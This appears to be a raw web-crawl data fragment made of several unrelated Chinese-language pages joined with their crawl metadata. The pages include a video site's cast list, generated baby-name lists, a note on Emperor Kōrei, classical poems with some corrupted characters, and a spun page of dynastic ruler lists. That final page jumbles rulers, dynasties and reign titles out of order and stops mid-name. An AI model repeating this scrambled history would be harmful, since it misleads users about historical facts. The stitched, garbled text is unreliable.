邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%90%B3%E6%B2%9A%E9%BB%98------------.html","date":"2020-09-28T06:22:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401585213.82\/warc\/CC-MAIN-20200928041630-20200928071630-00214.warc.gz","language":"lzh","language_score":0.7254186869,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7254186868667603, \"cmn_Hani_score\": 0.18649347126483917, \"nan_Hani_score\": 0.07510360330343246, \"yue_Hani_score\": 0.012348521500825882}","num_words":298,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.766,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n殷霭瑗 殷安迪 殷安娴 殷安昕 殷安璇 殷安阳 殷安攸 殷安倬 殷安子 殷昂乐 殷百川 殷柏皇 殷邦祜 殷邦佑 殷棒棒 殷苞茨 殷宝丹 殷宝祷 殷宝欢 殷宝亮 殷宝宁 殷宝琪 殷宝瑞 殷宝鑫 殷宝仪 殷保华 殷保平 殷保中 殷贝贝 殷蓓钗 殷彬贺 殷斌颀 殷秉昌 殷秉凯 殷秉铨 殷秉霄 殷秉忠 殷炳渊 殷波凡 殷伯森 殷泊浩 殷博川 殷博春 殷博龙 殷博涛 殷博闻 殷博鑫 殷博以 殷博仡 殷博弈 殷博羿 殷博毅 殷博翼 殷博懿 殷渤人 殷搏仡 殷擘懿 殷布南 殷步军 殷才高 殷才骊 殷彩云 殷菜熊 殷灿彬 殷灿凡 殷灿枫 殷灿海 殷灿楠 殷灿楹 殷草嗤 殷草妗 殷茶晴 殷钗荞 殷长金 殷长明 殷长生 殷常青 殷畅萌 殷晁帆 殷朝敏 殷朝阳 殷尘鑫 殷臣泽 殷辰曦 殷辰萱 殷辰瑜 殷陈亮 殷陈曦 殷晨霭 殷晨彬 殷晨晨 殷晨达 殷晨风 殷晨光 殷晨杰 殷晨瑾 殷晨恺 殷晨亮 殷晨龙 殷晨民 殷晨铭 殷晨宁 殷晨庆 殷晨曦 殷晨晓 殷晨轩 殷晨萱 殷晨炫 殷晨眩 殷晨迅 殷晨晏 殷晨烨 殷晨逸 殷晨煜 殷晨泽 殷晨哲 殷丞海 殷丞昊 殷丞书 殷丞相 殷成川 殷成果 殷成海 殷成林 殷成龙 殷成嵩 殷成熙 殷承浩 殷承华 殷承勋 殷承宗 殷诚诚 殷诚程 殷程诚 殷程程 殷程昕 殷澄宇 殷骋成 殷骋诚 殷骋程 殷骋骋 殷崇辉 殷崇霄 殷崇烨 殷楚海 殷楚涵 殷川茸 殷川义 殷传根 殷传慧 殷传军 殷传沙 殷传选 殷传钰 殷椽耀 殷椽熠 殷椽煜 殷床鲮 殷创奇 殷春庚 殷春铃 殷春敏 殷春香 殷春晓 殷纯纯 殷纯焘 殷纯峰 殷纯烽 殷纯祥 殷绰强 殷绰岩 殷慈多 殷慈恩 殷慈徽 殷慈善 殷丛丛 殷榱耀 殷榱熠 殷榱煜 殷翠虹 殷翠香 殷翠湘 殷翠竹 殷存高 殷存华 殷存香 殷存旭 殷存远 殷存哲 殷达飞 殷达藁 殷达为 殷达易 殷大海 殷大华 殷大强 殷大桥 殷大庆 殷大童 殷大伟 殷大勇 殷大周 殷代刚 殷丹凤 殷丹今 殷丹木 殷丹午 殷德春 殷德怀 殷德煌 殷德键 殷德军 殷德林 殷德明 殷德祥 殷德阳 殷德勇 殷蹬决 殷迪如 殷笛夫 殷笛鑫 殷殿凤 殷鼎商 殷东范 殷东亮 殷东明 殷东臀 殷东洋 殷东泽 殷冬凡 殷冬芹 殷冬秀 殷蔸找 殷逗逗 殷芏炽 殷对阳 殷恩慈 殷恩琦 殷二波 殷发龙 殷帆帆 殷帆凡 殷凡帆 殷凡凡 殷凡麒 殷凡响 殷凡栩 殷凡一 殷凡昱 殷钒诺 殷繁荣 殷方石 殷方舟 殷芳铖 殷飞鸿 殷飞越 殷菲菲 殷菲阳 殷斐斐 殷丰黎 殷枫瑜 殷锋卫 殷凤超 殷凤洪 殷凤寰 殷凤兰 殷凤宇 殷伏波 殷扶贫 殷福进 殷福亮 殷福庆 殷福权 殷福堂 殷阜阳 殷复商 殷复兴 殷富贵 殷富纤 殷伽瑜 殷敢峰 殷杠煜 殷缟咴 殷格翰 殷格磊 殷更谬 殷更义 殷庚邦 殷庚奎 殷庚逵 殷庚权 殷庚泉 殷庚铨 殷庚霄 殷沽平 殷乖乖 殷冠华 殷冠哲 殷光焰 殷光耀 殷广传 殷广华 殷广辉 殷广平 殷广荣 殷广山 殷广兴 殷广宜 殷广颐 殷广亿 殷广艺 殷广易 殷广逸 殷广意 殷广智 殷圭阳 殷闺妩 殷瑰袅 殷贵平 殷贵泉 殷桂琛 殷桂兰 殷桂枝 殷桂忠 殷国安 殷国博 殷国才 殷国栋 殷国多 殷国锋 殷国豪 殷国华 殷国江 殷国茳 殷国疆 殷国杰 殷国净 殷国梁 殷国亮 殷国培 殷国平 殷国强 殷国勤 殷国帅 殷国元 殷国治 殷哈大 殷海博 殷海焯 殷海尘 殷海逞 殷海丰 殷海枫 殷海峰 殷海晗 殷海皓 殷海华 殷海军 殷海柳 殷海伦 殷海明 殷海鸣 殷海铭 殷海螓 殷海荣 殷海榕 殷海胜 殷海顺 殷海铄 殷海涛 殷海峡 殷海贤 殷海祥 殷海鑫 殷海徐 殷海彦 殷海耀 殷海亿 殷海仡 殷海毅 殷海懿 殷海勇 殷海泽 殷海珍 殷海芷 殷醢阳 殷晗亢 殷晗令 殷晗铭 殷晗芽 殷晗之 殷涵钰 殷焓木 殷汉强 殷汉乔 殷菡晨 殷菡菡 殷菡岚 殷菡绍 殷菡鸶 殷菡纤 殷菡瑜 殷菡珠 殷翰飞 殷翰乐 殷杭铭 殷航俊 殷豪杰 殷濠阳 殷好东 殷郝杰 殷昊杰 殷昊天 殷昊一 殷浩春 殷浩东 殷浩斐 殷浩竣 殷浩理 殷浩凌 殷浩淼 殷浩楠 殷浩钦 殷浩然 殷浩荣 殷浩淞 殷浩翔 殷浩轩 殷浩勋 殷浩阳 殷浩洋 殷浩元 殷浩哲 殷灏宁 殷合童 殷和峰 殷和华 殷黑了 殷恒伟 殷衡基 殷衡平 殷弘楷 殷弘岚 殷弘贤 殷弘一 殷红光 殷红荭 殷红鸿 殷红杰 殷红军 殷红兰 殷红岚 殷红阑 殷红篮 殷红宁 殷红镪 殷红芹 殷红蕊 殷红伟 殷红卫 殷红一 殷红宇 殷宏宝 殷宏程 殷宏楼 殷宏宁 殷宏瑞 殷宏伟 殷宏贤 殷宏宇 殷宏志 殷洪亮 殷洪林 殷洪明 殷洪涛 殷虹岚 殷虹贤 殷鸿飞 殷鸿菲 殷鸿福 殷鸿茂 殷鸿儒 殷厚学 殷厚尧 殷华曹 殷华军 殷华俊 殷华昆 殷华连 殷华莲 殷华林 殷华仑 殷华宁 殷华伟 殷华香 殷华阳 殷华卓 殷化东 殷怀庆 殷怀武 殷怀宇 殷淮郡 殷淮庆 殷淮雅 殷槐俊 殷欢欢 殷欢喜 殷欢心 殷欢欣 殷欢鑫 殷焕宸 殷焕枫 殷焕坤 殷焕檑 殷焕楠 殷焕庭 殷凰凤 殷黄健 殷煌枫 殷辉强 殷回革 殷汇沣 殷会斌 殷会阁 殷会朋 殷会鹏 殷会赢 殷会越 殷会云 殷惠苏 殷惠阳 殷慧民 殷慧敏 殷慧宁 殷慧朋 殷慧群 殷慧雯 殷慧越 殷慧云 殷火烽","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-74-3.html","date":"2021-09-21T12:03:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00467.warc.gz","language":"lzh","language_score":0.5805889964,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5805889964103699, \"nan_Hani_score\": 0.4193914830684662}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.58,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 孝靈天皇\n孝靈天皇 ,諱 大日本根子彥太瓊 ,日本第七代天皇。作 大日本根子彥太瓊尊 ,作 大倭根子日子賦斗邇 。天照大神十一世孫、孝安天皇獨子。母押媛。\n年二十六,立為太子。年五十三,即位。踐位次年,立細媛命為后。\n踐位第七十二年,秦人徐福攜童男童女赴日,求不死藥。\n傳位七十六年崩。享壽一百二十七。葬片丘馬坂陵。\n- 日本天皇 自神武天皇開國起 傳百二十六代 至今上 天皇 德仁 神武 天皇 人代之始 神代人皇之界 綏靖 天皇 安寧天皇 懿德 天皇 孝昭 天皇 孝安 天皇 孝 靈 天皇 孝 元 天皇 開化 天皇 崇神 天皇 歷代 天皇 實史之始可考者 垂仁 天皇 首立植輪 廢殉葬之儀 景行 天皇 日本武尊東征 成務 天皇 仲哀 天皇 觸神之怒 未幾而崩 神功皇后 征三韓 攝政六十九年 無踐祚\n- 漢 孝 獻皇帝諱協 字伯和 靈 帝子也 光和四年生 母王美人 靈 帝以其似己 故名協 後為董太后所養 初 靈 帝托協於蹇碩 碩乃謀立協 事敗死 少帝即位 封渤海王 徙陳留王 大將軍何進見弒 京中大亂 少帝及協為張讓 段珪等所劫 後遇董卓 問其事 少帝懼不能言 而協能陳述 卓以協賢 又為同姓所養 既執權 乃廢殺少帝 改立協為皇帝\n- 號曰 天皇 715 靈 龜 元正 天皇 717 養老 元正 天皇 724 神龜 聖武天皇 729 天平 聖武天皇 749 天平感寶 聖武天皇 749 天平勝寶 孝 謙 天皇 757 天平寶字 孝 謙 天皇 淳仁天皇 稱德 天皇 765 天平神護 稱德 天皇 767 神護景雲 稱德 天皇 770 寶龜 光仁 天皇 781","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/86907\/1\/%E5%AD%9D%E9%9D%88%E5%A4%A9%E7%9A%87.html","date":"2021-12-03T05:00:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00167.warc.gz","language":"lzh","language_score":0.6003445387,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6003445386886597, \"cmn_Hani_score\": 0.24917028844356537, \"nan_Hani_score\": 0.08059127628803253, \"jpn_Jpan_score\": 0.05705245956778526}","num_words":130,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.296,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.719,"perplexity_score":500.0,"cluster_detection":1} +{"text":"江之紀的詩文(7首)1\/1頁\n作者:\n李白 陸游 劉克莊 楊萬里 趙蕃 弘歷 蘇軾 梅堯臣 方回 白居易 王世貞 黃庭堅 陳造 范成大 張耒 屈大均 蘇轍 王安石 歐大任 胡應麟 佚名 項安世 邵雍 宋祁 司馬光 姚燮 陳著 方岳 曹勛 樓鑰 杜甫 魏了翁 吳芾 陳維崧 佚名 白玉蟾 王之道 韓淲 洪咨夔 歐陽修 張镃 程敏政 劉崧 周紫芝 程公許 戴復古 劉基 王十朋 曾豐 韓維 王炎 佚名 文天祥 鄧云霄 周必大 賀鑄 喻良能 李綱 文同 宋庠 馬鈺 晁說之 李曾伯 李東陽 胡奎 李彌遜 釋文珦 舒岳祥 強至 晁補之 高啟 釋印肅 陳普 辛棄疾 姜特立 楊維楨 李夢陽 王洋 齊己 陸文圭 劉禹錫 顧璘 岳珂 陳宓 楊慎 陳師道 韓元吉 劉敞 郭之奇 虞儔 朱熹 孫應時 楊士奇 袁宏道 仇遠 釋德洪 郭印 郭祥正 邵寶 王冕\n類型:\n哀愁 哀悼 哀歌 哀傷 哀思 哀嘆 哀痛 哀怨 愛國 愛民 愛慕 愛情 愛人 安慰 懊悔 白菊 百姓 傍晚 胞弟 抱負 杯古 悲愁 悲愴 悲憤 悲歌 悲觀 悲劇 悲苦 悲涼 悲切 悲秋 悲傷 悲嘆 悲痛 悲惋 悲壯 碑記 碑文 奔放 比喻 避諱 邊將 邊疆 邊塞 貶謫 變化 表演 別愁 別離 別情 不滿 不舍 才女 采蓮 殘春 策論 策略 茶葉 禪意 禪隱 猖狂 悵然 悵惘 唱歌 唱和 嘲諷 誠信 乘船 池塘 憧憬 惆悵 酬答 酬和 酬贈 愁病 愁恨 愁苦 愁悶 愁情 愁思 愁緒 愁怨 出游 出征 初夏 初中古詩 初中文言文 除夕 楚辭 觸景感懷 觸景傷情 觸景生情 傳記 傳說 船夫 垂釣 垂柳 春殘 春愁 春光 更多>>\n六榕寺有懷坡公作次南城師韻\n秋云覆地古剎荒,寺門一榜鸞鳳翔。眉山正氣何堂堂,千載翰墨留清香。\n當時讒人正高張,群飛刺天蔽太陽。貝錦潛織巧異常,黨人碑首司馬光。\n公也遠投蛟蜃鄉,慷慨度海鼉為梁。乃心無日忘廟廊,矯如勁柏含秋霜。\n陶詩柳集壯行裝,朝云叔黨慰凄涼。餐霞臥月南斗旁,脫屣富貴如毫芒。\n念公蚤歲厄舒王,南來禍始蔡與章??部腊僬蹥鈴洸?,泉源萬斛無盡藏。\n魑魅逢迎又何妨,羅浮天半同青蒼。\n自九江抵南昌途中雜感 其二\n峭帆入彭蠡,大姑迎云中。驚濤沃白日,鬟髻有濛濛。\n下有古戰場,曾葬千艨艟。至今風雨夜,鬼火盈鮫宮。\n真龍與假虎,一例隨西風。誰言廣武嘆,狂談非至公。\n自九江抵南昌途中雜感 其一\n去年見春風,曾與春風約。明歲花開時,故山酒同酌。\n息壤猶在彼,生計轉落拓。方辭庾公樓,又上滕王閣。\n春風不我欺,我自食前諾??蓱z龍尾西,桃花開且落。","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.theslashblog.com\/shici\/qingcao\/jiangzhiji\/","date":"2023-03-21T17:20:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943704.21\/warc\/CC-MAIN-20230321162614-20230321192614-00518.warc.gz","language":"lzh","language_score":0.5669023991,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5669023990631104, \"cmn_Hani_score\": 0.23599842190742493, \"nan_Hani_score\": 0.18283790349960327}","num_words":221,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.602,"perplexity_score":500.0,"cluster_detection":1} +{"text":"元秀 元艷 元燕 元英 元瑩 元穎 元媛 元悅 元艾霞 元愛琳 元彩娟 元釵芳 元常艷 元成美 元成文 元成英 元春玉 元純紅 元東萍 元冬梅 元冬萍 元杜娟 元端琳 元鐸琳 元芬芬 元風霞 元鳳玲 元貴梅 元桂英 元海霞 元海燕 元海英 元海瑛 元紅紅 元紅英 元煥芳 元會琴 元慧芳 元慧玲 元慧霞 元姬玉 元繼紅 元劍文 元潔瓊 元金花 元晉霞 元景文 元婧牟 元婧眸 元靖花 元軍婷 元君娜 元君霞 元君燕 元君悅 元郡娜 元蘭芳 元瀾萍 元麗紅 元麗花 元麗麗 元麗娜 元利花 元利娜 元琳舒 元靈玲 元玲萍 元柳婷 元蘆雪 元美艷 元夢瑩 元明玉 元妮娜 元倩倩 元倩珊 元青梅 元慶紅 元秋英 元茹峰 元茹筠 元茹驍 元瑞紅 元少花 元紹潔 元紹娟 元紹麗 元詩怡 元石玉 元思麗 元思怡 元田麗\n元婉嫣 元為艷 元偉英 元衛琴 元文芳 元文萍 元文婷 元文英 元夏玲 元小霞 元曉紅 元曉蓉 元曉霞 元曉瑩 元心怡 元欣悅 元新文 元馨怡 元秀萍 元雪玲 元雪霞 元雪燕 元雪瑛 元妍嵐 元妍酈 元妍允 元艷玲 元燕玲 元燁婷 元依琳 元怡博 元怡涵 元怡然 元怡蘇 元怡文 元怡揚 元以娟 元瑩泉 元瑩珊 元瀅潔 元有紅 元雨倩 元玉梅 元玉婷 元鈺婷 元悅君 元悅琳 元悅陽 元澤芳 元澤霞 元哲花 元哲美 元哲倩 元哲琴 元哲文 元哲英 元哲穎 元子怡\n古語云\"寧可生錯命,不可起錯名\",一個好的名字,不僅給別人印象深刻,而且還關系到人一生的事業、婚姻、健康和人際關系。名字筆畫五行不要和命譜四柱五行相聯系,它本身五格部象的五行相生相克是其本身獨立一格的五行,與命譜五行沒有聯系的,無須考慮筆畫五行來選名字,但名字的筆畫五行在五格剖象中要五行相生,不能相克。起名網(www.skinovationsofjoplin.com)基于以上原則和自動生成算法,只需要輸入你的姓氏可以免費為你推薦比較好的名字以及詳細的命理、運程、吉兇解析。","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.skinovationsofjoplin.com\/xing\/x91_0_0_3.html","date":"2023-06-02T00:58:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648245.63\/warc\/CC-MAIN-20230602003804-20230602033804-00003.warc.gz","language":"lzh","language_score":0.7629388571,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7629388570785522, \"cmn_Hani_score\": 0.13810580968856812, \"jpn_Jpan_score\": 0.05886904522776604, \"nan_Hani_score\": 0.037181876599788666}","num_words":150,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.798,"perplexity_score":500.0,"cluster_detection":1} +{"text":"斟鄩,(中华民国)大总统袁世凯 黎元洪 冯国璋 徐世昌 黎元洪 摄行大总统 高凌霨 大总统 曹锟 摄行大总统 黄郛 临时执政 段祺瑞 摄行临时执政 颜惠庆 杜锡珪 顾维钧 军政府大元帅 张作霖 国民政府主席 胡汉民 谭延闿 蒋介石 林森 蒋介石 副主席 孙科 总统 蒋介石 代总统 李宗仁黄帝 姬轩辕 少昊 己挚 玄帝 姬颛顼 帝喾 姬夋 帝挚 姬挚 唐尧 伊祁放勋 虞舜 姚重华后赵 明帝 石勒 文帝 石弘 武帝 石虎 正帝 石世 成帝 石遵 仁武帝 石鉴 兴武帝 石祗 冉魏 武悼天王 冉闵 惠帝 冉智宋高宗 赵构 元懿太子 赵旉 宋孝宗 赵眘 宋光宗 赵淳 宋宁宗 赵扩 宋理宗 赵昀 宋度宗 赵禥 宋恭帝 赵显 宋端宗 赵昰 宋帝昺 赵昺渤海国 渤海高王 渤海武王 大武艺 渤海文王 大钦茂 大元义 渤海成王 大华兴 渤海康王 大嵩璘 渤海定王 大元瑜 渤海僖王 大言义 渤海简王 大明忠 渤海宣王 大仁秀 大彝震 大虔晃 大玄锡 大玮瑎 大諲撰代国 拓跋猗卢 拓跋普根 拓跋始生 平文帝 拓跋郁律 惠帝 拓跋贺傉 炀帝 拓跋纥那 烈帝 拓跋翳槐 昭成帝 拓跋什翼犍西河(平阳,东吴 *武烈帝 孙坚 *长沙桓王 孙策 吴大帝 孙权 吴会稽王 孙亮 吴景帝 孙休 吴乌程侯 孙皓清太祖 爱新觉罗·努尔哈赤 清太宗 爱新觉罗·皇太极 清世祖 爱新觉罗·福临(顺治) 清圣祖 爱新觉罗·玄烨(康熙) 清世宗 爱新觉罗·胤禛(雍正) 清高宗 爱新觉罗·弘历(乾隆) 清仁宗 爱新觉罗·颙琰(嘉庆) 清宣宗 爱新觉罗·旻宁(道光) 清文宗 爱新觉罗·奕詝(咸丰) 清穆宗 爱新觉罗·载淳(同治) 清德宗 爱新觉罗·载湉(光绪) 清逊帝 爱新觉罗·溥仪(宣统)晋阳) 。\n年号隆武 昭宗 朱由榔,年号洪宪,后凉 *景昭帝 吕婆楼 懿武帝 吕光 隐王 吕绍 灵帝 吕纂 后主 吕隆大禹姒文命 启 太康 仲康 相 少康 予 槐 芒 泄 不降 扃 廑 孔甲 皋 发 桀帝 姒履癸*神武帝 高欢 *文襄帝 高澄 文宣帝 高洋 废帝 高殷 孝昭帝 高演 武成帝 高湛 后主 高纬 安德王 高延宗 幼主 高恒 范阳王 高绍义吴越 太祖 钱鏐 世宗 钱元瓘 成宗 钱弘佐 忠逊王 钱弘倧 忠懿王 钱弘俶年号大顺 南明 安宗 朱由崧,前秦 惠武帝 苻洪 高祖 苻健 厉王 苻生 世祖 苻坚 哀平帝 苻丕 太宗 苻登 后主 苻崇帝丘,成汉 *(成)景帝 李特 *(成)秦文王 李流 (成)武帝 李雄 (成)哀帝 李班 (成)幽公 李期 (汉)昭文帝 李寿 (汉)末主 李势 汉赵 (汉)光文帝 刘渊 (汉)梁王 刘和 (汉)昭武帝 刘聪 (汉)隐帝 刘粲 (赵)秦王 刘曜原,闽国 太祖 王审知 嗣王 王延翰 惠宗 王延钧 康宗 王昶 景宗 王曦 殷帝 王延政年号永。\n夏朝 约前2049-前1577年 阳城,*文帝 宇文泰 孝闵帝 宇文觉 明帝 宇文毓 武帝 宇文邕 宣帝 宇文赟 静帝 宇文衍后秦 武昭帝 姚苌 文桓帝 姚兴 末主 姚泓 西秦 宣烈王 乞伏国仁 武元王 乞伏乾归 文昭王 乞伏炽盘 厉武王 乞伏慕末元太祖 铁木真 (成吉思汗) 元睿宗 拖雷 (监国) 元太宗 窝阔台 马乃真后 (称制) 元定宗 贵由 海迷失后 (称制) 元宪宗 蒙哥 元世祖 忽必烈 (薛禅汗) 元成宗 铁穆耳 (完泽笃汗) 元武宗 海山 (曲律汗) 元仁宗 爱育黎拔力八达 (普颜笃汗) 元英宗 硕德八剌 (格坚汗) 泰定帝 也孙铁木儿 天顺帝 阿速吉八 元文宗 图帖睦尔 (札牙笃汗) 元明宗 和世剌 元宁宗 懿璘质班 元惠宗 妥懽帖睦尔(乌哈图汗) 元昭宗 爱猷识理答腊 元益宗 脱古思帖木儿周平王 姬宜臼 周桓王 姬林 周庄王 姬佗 周厘王 姬胡齐 周惠王 姬阆 周王子 姬颓 周襄王 姬郑 周王子 姬带 周顷王 姬壬臣 周匡王 姬班 周定王 姬瑜 周简王 姬夷 周灵王 姬泄心 周景王 姬贵 周悼王 姬猛 周敬王 姬匄 周王子 姬朝 周元王 姬仁 周贞定王 姬介 周哀王 姬去疾 周思王 姬叔 周考王 姬嵬 周威烈王 姬午 周安王 姬骄 周烈王 姬喜 周显王 姬扁 周慎靓王 姬定 周赧王 姬延 周惠王 姬杰明太祖 朱元璋 明惠帝 朱允炆 明成祖 朱棣 (庙号初为明太宗) 明仁宗 朱高炽 明宣宗 朱瞻基 明英宗 朱祁镇 明代宗 朱祁钰 明宪宗 朱见深 明孝宗 朱佑樘 明武宗 朱厚照 明世宗 朱厚熜 明穆宗 朱载垕 明神宗 朱翊钧 明光宗 朱常洛 明熹宗 朱由校 明思宗 朱由检 顺 李自成,太祖 李继迁 *太宗 李德明 景宗 李元昊 毅宗 李谅祚 惠宗 李秉常 崇宗 李乾顺 仁宗 李仁孝 桓宗 李纯佑 襄宗 李安全 神宗 李遵顼 献宗 李德旺 末帝 李睍宋太祖 赵匡胤 宋太宗 赵炅 宋真宗 赵恒 宋仁宗 赵祯 宋英宗 赵曙 宋神宗 赵顼 宋哲宗 赵煦 宋徽宗 赵佶 宋钦宗 赵桓元帝 司马睿 明帝 司马绍 成帝 司马衍 康帝 司马岳 穆帝 司马聃 哀帝 司马丕 海西公 司马奕 简文帝 司马昱 孝武帝 司马曜 安帝 司马德宗 恭帝 司马德文安邑,唐高祖 李渊 唐太宗 李世民 唐高宗 李治 唐中宗 李显 唐睿宗 李旦 南周 南周则天大圣皇帝 武曌 唐朝复辟 唐中宗 李显 唐殇帝 李重茂 唐睿宗 李旦 唐玄宗 李隆基 唐肃宗 李亨 唐代宗 李豫 唐德宗 李适 唐顺宗 李诵 唐宪宗 李纯 唐穆宗 李恒 唐敬宗 李湛 唐文宗 李昂 唐武宗 李炎 唐宣宗 李忱 唐懿宗 李漼 唐僖宗 李儇 唐昭宗 李晔 唐哀帝 李拀老丘,宋 武帝 刘裕 少帝 刘义符 文帝 刘义隆 元凶 刘劭 孝武帝 刘骏 前废帝 刘子业 明帝 刘彧 后废帝 刘昱 顺帝 刘准高祖 刘暠 隐皇帝 刘承佑 湘阴公 刘赟 世祖 刘旻 睿宗 刘钧 少主 刘继恩 英武帝 刘继元临时大总统孙中山 大总统袁世凯 中华帝国 中华帝国皇帝 袁世凯,东周 前770-前256(东周国至前249) 洛邑 河南洛阳 周平王姬宜臼秦惠文王 嬴驷 秦武王 嬴荡 秦昭襄王 嬴则 秦孝文王 嬴柱 秦庄襄王 嬴楚 秦始皇 嬴政 秦二世 嬴胡亥 秦子婴 嬴婴年号永昌 大西 张献忠。\n南楚 武穆王 马殷 衡阳王 马希声 文昭王 马希范 废王 马希广 恭孝王 马希萼 马希崇北凉 文王 段业 武宣王 沮渠蒙逊 哀王 沮渠牧犍 高昌王 沮渠无讳 河西王 沮渠安周荆南(南平) 武信王 高季兴 文献王 高从诲 贞懿王 高宝融 荆南侍中 高保勖 荆南侍中 高继冲金太祖 完颜旻 金太宗 完颜晟 金熙宗 完颜亶 海陵王 完颜亮 金世宗 完颜雍 金章宗 完颜璟 卫绍王 完颜永济 金宣宗 完颜珣 金哀宗 宛颜守绪 金末帝 完颜承麟道武帝 拓跋珪 明元帝 拓跋嗣 太武帝 拓跋焘 南安王 拓跋余 文成帝 拓跋浚 献文帝 拓跋弘 孝文帝 元宏 宣武帝 元恪 孝明帝 元诩 幼主 元钊 孝庄帝 元子攸 长广王 元晔 节闵帝 元恭 安定王 元朗 孝武帝 元修前凉 *武穆王 张轨 昭王 张实 成王 张茂 文王 张骏 桓王 张重华 哀王 张耀灵 威王 张祚 冲王 张玄靓 悼王 张天锡 凉王 张大豫成汤 子天乙 太丁 外丙 中壬 伊尹 太甲(太宗) 沃丁 太庚 小甲 雍己 太戊 (中宗) 中丁 外壬 河亶甲 祖乙 祖辛 沃甲 祖丁 南庚 阳甲 盘庚 小辛 小乙 武丁 (高宗) 祖庚 祖甲 廪辛 康丁 武乙 文丁 帝乙 帝辛(纣帝)年号弘光 绍宗 朱聿键,西凉 武昭王 李暠 后主 李歆 末主 李恂 南凉 武王 秃发乌孤 康王 秃发利鹿孤 景王 秃发傉檀.光武帝 刘秀 汉明帝 刘庄 汉章帝 刘炟 汉和帝 刘肇 汉殇帝 刘隆 汉安帝 刘祜 汉少帝 刘懿 汉顺帝 刘保 汉冲帝 刘炳 汉质帝 刘缵 汉桓帝 刘志 汉灵帝 刘宏 汉少帝 刘辩 汉献帝 刘。\n后燕 成武帝 慕容垂 惠愍帝 慕容宝 开封公 慕容详 赵王 慕容麟 昭武帝 慕容盛 昭文帝 慕容熙西燕 归帝 慕容泓 威帝 慕容冲 昌平王 段随 中帝 慕容觊 文帝 慕容瑶 代帝 慕容忠 末帝 慕容永西周 *周文王 姬昌 周武王 姬发 周成王 姬诵 周康王 姬钊 周昭王 姬瑕 周穆王 姬满 周共王 姬繄扈 周懿王 姬囏 周孝王 姬辟方 周夷王 姬燮 周厉王 姬胡 周宣王 姬静 周幽王 姬宫湦 周携王 姬余臣曹魏 *魏武帝 曹操 魏文帝 曹丕 魏明帝 曹睿 魏齐王 曹芳 (邵陵厉公) 高贵乡公 曹髦 魏元帝 曹奂 蜀汉*宣帝 司马懿 *景帝 司马师 *文帝 司马昭 武帝 司马炎 惠帝 司马衷 赵王 司马伦 怀帝 司马炽 愍帝 司马邺.汉高帝 刘邦 汉惠帝 刘盈 汉前少帝 刘恭 汉后少帝 刘弘 汉文帝 刘恒 汉景帝 刘启 汉武帝 刘彻 汉昭帝 刘弗陵 昌邑王 刘贺 汉宣帝 刘询 汉元帝 刘奭(shì) 汉成帝 刘骜 汉哀帝 刘欣 汉平帝 刘衍 孺子 刘婴 新朝 新朝 王莽 玄汉 更始帝 刘玄 建世帝 刘盆子 成家 公孙述高帝 萧道成 武帝 萧赜 郁林王 萧昭业 海陵王 萧昭文 明帝 萧鸾 东昏侯 萧宝卷 和帝 萧宝融 梁 武帝 萧衍 临贺王 萧正德 简文帝 萧纲 豫章王 萧栋 武陵王 萧纪 元帝 萧绎 闵帝 萧渊明 敬帝 萧方智辽太祖 耶律阿保机 辽太宗 耶律德光 辽世宗 耶律阮 辽穆宗 耶律璟 辽景宗 耶律贤 辽圣宗 耶律隆绪 辽兴宗 耶律宗真 辽道宗 耶律洪基 天祚帝 耶律延禧 西辽 辽德宗 耶律大石 感天后 萧塔不烟 辽仁宗 耶律夷列 承天后 耶律普速完 辽末帝 耶律直鲁古 屈出!\n本文由成汉 *(成)景帝 李特 *(成)秦文王 李流 武帝发布,转载请注明来源:成汉 *(成)景帝 李特 *(成)秦文王 李流 